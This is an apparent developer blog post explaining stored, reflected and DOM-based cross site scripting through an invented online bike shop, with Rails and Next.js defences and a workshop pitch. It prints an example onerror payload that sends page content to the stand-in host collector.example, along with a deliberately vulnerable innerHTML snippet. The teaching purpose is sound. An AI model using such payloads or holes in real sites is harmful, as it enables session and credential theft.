Cross site scripting explained: stolen sessions and how I prevent it

TL;DR

Difficulty: Intermediate

Cross site scripting (XSS) tricks a trusted site into handing your browser the attacker's script, which then runs with your logged in identity.

  • Stored XSS saves the script in the database (a product review) and serves it to every visitor and to the admin. Reflected XSS rides in a poisoned link and is echoed back by a search page. DOM based XSS happens in the browser's own JavaScript and the server never sees it.
  • The attacker is after your session, your credentials, the admin's keys to the whole shop, and card numbers skimmed at checkout, the way the British Airways breach took roughly 400,000 customers.
  • AI raises the risk: the fastest way to make markup render is to disable escaping with html_safe, raw or dangerouslySetInnerHTML, and research shows AI code carries far more of exactly this kind of flaw.
  • The defence is layered: keep the framework's automatic escaping, sanitise any user HTML with an allowlist, add a Content Security Policy, set httpOnly and SameSite cookies, lock it in with Cucumber tests and Brakeman, and pen test with Burp Suite and OWASP ZAP before release.

The product page on this site puts it in one line: malicious scripts steal user sessions and credentials. This article is the longer story. What cross site scripting actually is, the three routes a script takes onto a page, what the attacker walks away with, why AI written code makes it more likely, and exactly how I keep it out of the Rails and Next.js shops I build.

What cross site scripting actually is

Every web page your browser shows is a mix of two things it cannot easily tell apart: content that the site meant to send, and code that the site meant to run. Text, images and layout are content. The small programs written in JavaScript that make a page interactive are code. Your browser runs that code because it trusts the page it came from. Cross site scripting, almost always shortened to XSS, is the trick of getting the site to hand your browser a piece of the attacker's code wrapped up as if it were the site's own1.

Picture a letter that arrives in your bank's envelope, on your bank's paper, with your bank's logo. You act on it because the envelope is genuine. XSS is a forged instruction slipped inside a genuine envelope. The browser cannot see the forgery. It runs the script with the full trust it gives the real site, which means the script can do anything you can do while you are logged in.

The product page on this site sums the attack up in one line: malicious scripts steal user sessions and credentials. That is the end result. This article is about how a script gets onto the page in the first place, the three different routes it takes, what the attacker walks away with, why code written by an AI assistant makes all of this more likely, and exactly how I keep it out of the Rails and Next.js shops I build.

I will use one invented business throughout. Marlowe Cycles is an online bike shop in London (marlowecycles.example). It sells bikes and parts, takes card payments through a payment provider, lets customers leave product reviews, and has a small admin area where the owner, Dervla, reads those reviews and manages orders. The shop and Dervla are made up. The code is real and runs.

The one thing that makes XSS dangerous

A script running on a page is not sandboxed away from you. It runs as part of the page, with the same privileges the page has. That means a script the attacker injected can read the contents of the page, change what you see, read anything stored in the browser for that site, and send requests to the server carrying your logged in session with them. The browser cannot ask "did the site really write this script, or did an attacker?" All it knows is which site the page came from, and it trusts everything on it equally.

So the damage from XSS is not that a script runs. It is that a script runs with your identity. If you are a logged in customer, it acts as you. If you are the shop owner reading a review in the admin, it acts as the owner. That second case is where small shops get hurt the most, and I will come back to it.

Three kinds of XSS, one underlying flaw

There are three recognised forms of XSS. They differ in how the script reaches the page, not in what it does once it is there. The underlying flaw is always the same: somewhere, data that a person controls is placed into a page without being treated as plain text first.

Stored XSS: the review that attacks every visitor

Stored XSS is the most serious, because the attacker only has to strike once. The script is saved in the shop's database and then served to everyone who loads the affected page.

Marlowe Cycles lets customers review products. A review is text the customer types, saved to the database, and shown on the product page under the item. Suppose the page builds that section by dropping the review straight into the HTML. An attacker leaves a review whose body is not a sentence about a bike but this:

<img src=x onerror="fetch('https://collector.example/c?d=' + encodeURIComponent(document.body.innerHTML))">

There is no image at the address x, so the browser fails to load it and runs the onerror code instead. That code reads the page and sends it to a server the attacker controls. I use the image trick here on purpose, because it is the classic way a script survives a naive filter that only strips <script> tags. The attack does not need a <script> tag at all.

Now the important part. That review is served to every single visitor who opens the product page, and crucially to Dervla when she opens it in the admin to moderate reviews. The script runs once per visitor, quietly, with each visitor's own session. One saved review, thousands of victims, no further effort from the attacker.

Reflected XSS is not stored anywhere. The script lives in a link, and the site reflects it straight back into the page. The classic home for it is a search box.

When a customer searches Marlowe Cycles for "gravel bike", the results page greets them with "12 results for gravel bike". The search term the customer typed is written into the page. If it is written in without being treated as text, an attacker can craft a link like this and send it by email or paste it into a forum:

https://marlowecycles.example/search?q=<script>/* attacker code */</script>

A customer who clicks it loads a genuine Marlowe Cycles page, from the genuine domain, over the genuine certificate. Everything looks right. But the search term is now a script, reflected into the page and run by the browser. Because the attack rides in a link, it is the form that pairs naturally with a phishing email: the victim never leaves the real site, so nothing looks wrong.

DOM based XSS: the attack the server never sees

The third form is the sneakiest, because it can happen entirely in the browser, with the server none the wiser. Modern pages, including anything built in React or Next.js, run a lot of JavaScript on the client. If that JavaScript reads something a person controls, such as the part of the URL after the #, and writes it into the page as HTML, the flaw is purely client side.

// A "share" widget that reads a title from the URL fragment
const title = decodeURIComponent(location.hash.slice(1));
document.getElementById("share-title").innerHTML = title; // danger

The value after the # never reaches the server, so no server log records it and no server side defence sees it. Writing it with innerHTML tells the browser to treat it as HTML, so a crafted fragment becomes live markup. This is why XSS is not only a backend problem. A site with a flawless Rails backend can still ship a DOM based hole in its frontend JavaScript.

What the attacker is actually after

Nobody writes an onerror payload for fun. XSS is a means to money or leverage, and it buys four things in particular.

Your session. The headline use is session hijacking. Once a script runs as you, it can act as you for as long as your session lasts: place orders, change your saved address, read your order history. If the session token can be read by script, it can be copied and used from the attacker's own machine. A well configured shop stops the token being readable, which I cover below, but the session can still be ridden from inside the page even then.

Credentials. A script controls the page, so it can redraw it. It can quietly overlay a convincing login box or a fake payment form on a page the customer already trusts, and send whatever they type to the attacker. The customer is on the real domain, so the usual advice to check the address bar does nothing.

The keys to the whole shop. This is the stored XSS case against the admin, and it is how a single review turns into a full breach. When the script runs in Dervla's admin session, it inherits her privileges. It can read customer records, change payout details, create a new admin account for the attacker to use later, or export the order book. The attacker did not need Dervla's password. They needed her to look at a review.

The customer's card, at the moment they pay. The most lucrative modern use of XSS is card skimming, often called Magecart. The injected script sits quietly on the checkout page and reads the card number out of the payment form as the customer types it, sending each keystroke to the attacker. The customer completes a real, successful purchase and never notices. The 2018 attack on British Airways worked on this principle. Roughly 400,000 customers had their details taken through a few lines of injected script, and the Information Commissioner issued a fine of twenty million pounds2. That is the scale an injected script can reach when it lands on a payment page.

How AI has quietly raised the risk

For twenty years the Rails and React worlds have made XSS harder than it used to be, mostly by escaping output automatically. The worry now is that AI generated code is undoing that progress one convenience at a time.

The pattern is consistent across the research. Veracode's 2025 GenAI Code Security Report found that AI generated code contains 2.74 times more vulnerabilities than code written by people3. An Ox Security analysis of more than 300 repositories in 2025 found the same ten anti patterns in 80 to 100 percent of AI generated code4. Separate research found that 45 percent of AI generated code introduces a vulnerability from the OWASP Top 10, the industry's standard list of the ten most serious web application risks, of which XSS is a long standing member. A 2026 study of more than 304,000 commits found that 24.2 percent of the issues AI introduced survived unresolved into the codebase5. Georgetown's Center for Security and Emerging Technology reached similar conclusions in its 2024 work on the cybersecurity risks of AI generated code, as did CrowdStrike's 2025 research.

Why does this hit XSS specifically? Because the safe default in Rails and React is to escape everything, and the fastest way to make a stubborn piece of markup "just render" is to turn that default off. When a customer asks an assistant to make their rich text show up properly, or their embedded HTML appear, the most direct answer is to reach for the exact tools that disable escaping: html_safe and raw in Rails, dangerouslySetInnerHTML in React. The assistant produces working code. The page renders. The review shows its formatting. And the door is now open, because that same path renders an attacker's markup just as happily. The code works, nobody wrote a test for the malicious case, and often nobody on the team can say why that raw is there. That is the real risk AI adds: not a new kind of hole, but a confident, fluent habit of opening an old one.

How I defend against it

XSS has a genuinely reliable defence, which is more than can be said for some attacks. The rule is simple to state and the whole job is refusing to break it: data that a person controls must never be treated as code. Here is how I hold that line in Rails and Next.js, in layers, so that one mistake does not become a breach.

Keep the output escaping that the framework gives you

Rails escapes by default. In an ERB template, <%= review.body %> runs the value through HTML escaping before it reaches the page, so <script> arrives as the harmless text &lt;script&gt; and the browser shows the characters instead of running them6. React and Next.js do the same: when you write {review.body} in JSX, the value is rendered as text, never as markup. For the overwhelming majority of a shop, doing nothing special is the secure choice. The attacks above all depend on someone having turned this off.

Treat html_safe, raw and dangerouslySetInnerHTML as load bearing decisions

Three pieces of code switch escaping off, and every one of them deserves a second look in review:

  • In Rails, html_safe marks a string as trusted so it is not escaped, and raw does the same thing. The ERB form <%== value %> with the double equals also skips escaping.
  • In React, dangerouslySetInnerHTML writes a raw HTML string into the page. The name is a warning, chosen on purpose by the React team7.

None of these is forbidden. Each is occasionally necessary. But every single use that touches data a person can influence is a potential XSS hole, so I treat each one as a decision I have to justify, not a convenience I reach for. If an assistant adds one to make something render, that is the line in the diff I stop on.

When you really must render user HTML, sanitise with an allowlist

Sometimes a shop genuinely needs to store and show formatted text, say a product description with bold text and links. The answer is not to trust it and not to ban formatting, but to sanitise: pass the HTML through a filter that keeps a short list of safe tags and attributes and strips everything else. Rails ships the sanitize helper for exactly this, backed by the Loofah and rails-html-sanitizer libraries, and it lets you state the allowlist explicitly:

# Only these tags and attributes survive. onerror, script and the rest are stripped.
sanitize(review.body, tags: %w[p br strong em a], attributes: %w[href])

On the client side, the equivalent is DOMPurify, a well maintained library that cleans an HTML string before it ever reaches innerHTML. The principle is the same in both languages: decide what is allowed and remove the rest, rather than trying to guess every dangerous thing and block it. Allowlists win because the attacker only has to find one dangerous thing you forgot.

Add a Content Security Policy as the second wall

Escaping and sanitising stop the script getting onto the page. A Content Security Policy (CSP) is the wall behind them: a header that tells the browser which scripts it is allowed to run, so that even if something slips through, the browser refuses to execute it. Rails has first class support for it:

# config/initializers/content_security_policy.rb
Rails.application.config.content_security_policy do |policy|
  policy.default_src :self
  policy.script_src  :self
  policy.object_src  :none
  policy.base_uri    :self
end

With a policy like this, an inline onerror script or a remote script from collector.example is blocked by the browser even if it reaches the page, because the policy only permits scripts served from the shop's own origin8. For the tightest protection I use a nonce based policy, where each legitimate inline script carries a one time token the browser checks, which Rails generates per request. In Next.js the same header is set in middleware. A CSP is defence in depth: it does not excuse a missing escape, it catches the day one of them is missing.

Cookies the script cannot read, and requests it cannot ride

Two cookie flags blunt the payoff from session theft. The httpOnly flag tells the browser that JavaScript may not read the cookie at all, so even a script running on the page cannot copy the session token out through document.cookie. Rails sets this on its session cookie by default. The SameSite flag, set to Lax or Strict, stops the cookie being sent on cross site requests, which limits what a hijacked session can be used for from elsewhere. Add the secure flag so the cookie only travels over HTTPS, and the session token becomes much harder to lift and much less useful if it is.

Lock the defence in with a Cucumber scenario

A defence that is not tested is a defence that quietly disappears in the next refactor, or the next AI assisted change. So I pin the behaviour with a behaviour driven test in Cucumber, written in plain language the shop owner can read:

Scenario: a review containing a script is shown as text, not run
  Given a product "Gravel bike"
  And a customer leaves a review with body "<script>alert(1)</script>"
  When a visitor opens the product page
  Then the page shows the text "<script>alert(1)</script>"
  And the page source contains no runnable script from the review

That scenario fails the moment someone reintroduces html_safe on the review, and it stops the release before it ships. Alongside it I run Brakeman, the static analyser for Rails, which raises a Cross Site Scripting warning whenever user input flows into html_safe, raw or an unescaped template. Brakeman reads the code and flags the risky path before anyone runs it.

Prove it from the outside with Kali tools

Tests prove the cases I thought of. Penetration testing probes for the ones I did not. Before a shop goes live I attack it myself from a Kali Linux machine, the standard toolkit for this work. I drive the forms and URLs through Burp Suite and OWASP ZAP, which fuzz every input with known XSS payloads and watch whether any of them come back live in the page, and I check the client side scripts by hand for the innerHTML and location.hash pattern that causes DOM based XSS. The reflected search box, the stored review field, the DOM based share widget: each one gets an attempt made against it on purpose, so that the first person to try the attack is me, not a stranger on a Saturday night.

Why testing and pen testing make this insurable work

The reason I can stand behind a build is that none of it is a black box. I own the code, it is readable, and every defence above corresponds to something you can point at: an escaped template, an explicit allowlist, a CSP header in the response, a cookie flag, a Cucumber scenario that reads like a sentence, a clean Brakeman report, a penetration test with its findings written down.

That matters for more than pride. It is the difference between hoping a shop is safe and being able to show that it is. When a payment provider, an insurer or a customer's own security team asks how you handle XSS, the answer is not "the framework probably escapes it". The answer is a named defence at each layer and a test that proves each one, with a date on the last penetration test. A vibe coded shop assembled by an assistant cannot answer that question, because nobody can say which raw calls are in it or why. An owned, tested, pen tested build can, and that is what makes it the kind of work a business can insure and stand behind.

A short honest close

XSS is old, it is well understood, and it has a reliable defence. That is the good news. The bad news is that the defence is a discipline, not a product you install once, and the current wave of AI assisted code is eroding it quietly, one disabled escape at a time, in shops whose owners have no way to see it happening.

If you are not sure whether your shop treats a customer's words as text or as code, that is worth an afternoon. In the free workshop we go through your real pages together, look at where user input reaches the screen, and I show you what a single injected review could do and what stops it. The first two weeks of any work that follows are on me. No hard sell, just an honest look at whether the envelope on your shop can carry a forged note.

If you are not sure whether your shop treats a customer's words as text or as code, book the free workshop: we go through your real pages together, I show you what a single injected review could do and what stops it, and the first two weeks of any work that follows are on me.

Sources

  1. 1.

    OWASP, Cross Site Scripting (XSS), OWASP Foundation, https://owasp.org/www-community/attacks/xss/

  2. 2.

    Information Commissioner's Office, ICO fines British Airways 20m pounds for data breach affecting more than 400,000 customers, 16 October 2020, https://ico.org.uk/about-the-ico/media-centre/news-and-blogs/2020/10/ico-fines-british-airways-20m-for-data-breach-affecting-more-than-400-000-customers/

  3. 3.

    Veracode, 2025 GenAI Code Security Report, Veracode, 2025, https://www.veracode.com/resources/

  4. 4.

    Ox Security, analysis of more than 300 repositories of AI generated code, Ox Security, 2025, https://www.ox.security/

  5. 5.

    Reported in research on AI introduced issues across more than 304,000 commits, 2026.

  6. 6.

    Ruby on Rails Guides, Securing Rails Applications, cross site scripting, https://guides.rubyonrails.org/security.html#cross-site-scripting-xss

  7. 7.
  8. 8.

    MDN Web Docs, Content Security Policy (CSP), https://developer.mozilla.org/en-US/docs/Web/HTTP/Guides/CSP

Shelter

I’m running the London Marathon for Shelter. Sunday 25 April 2027

My personal fundraiser. Shelter, the National Campaign for Homeless People Limited, registered charity 263710 (England and Wales) and SC002327 (Scotland), registered with the Fundraising Regulator.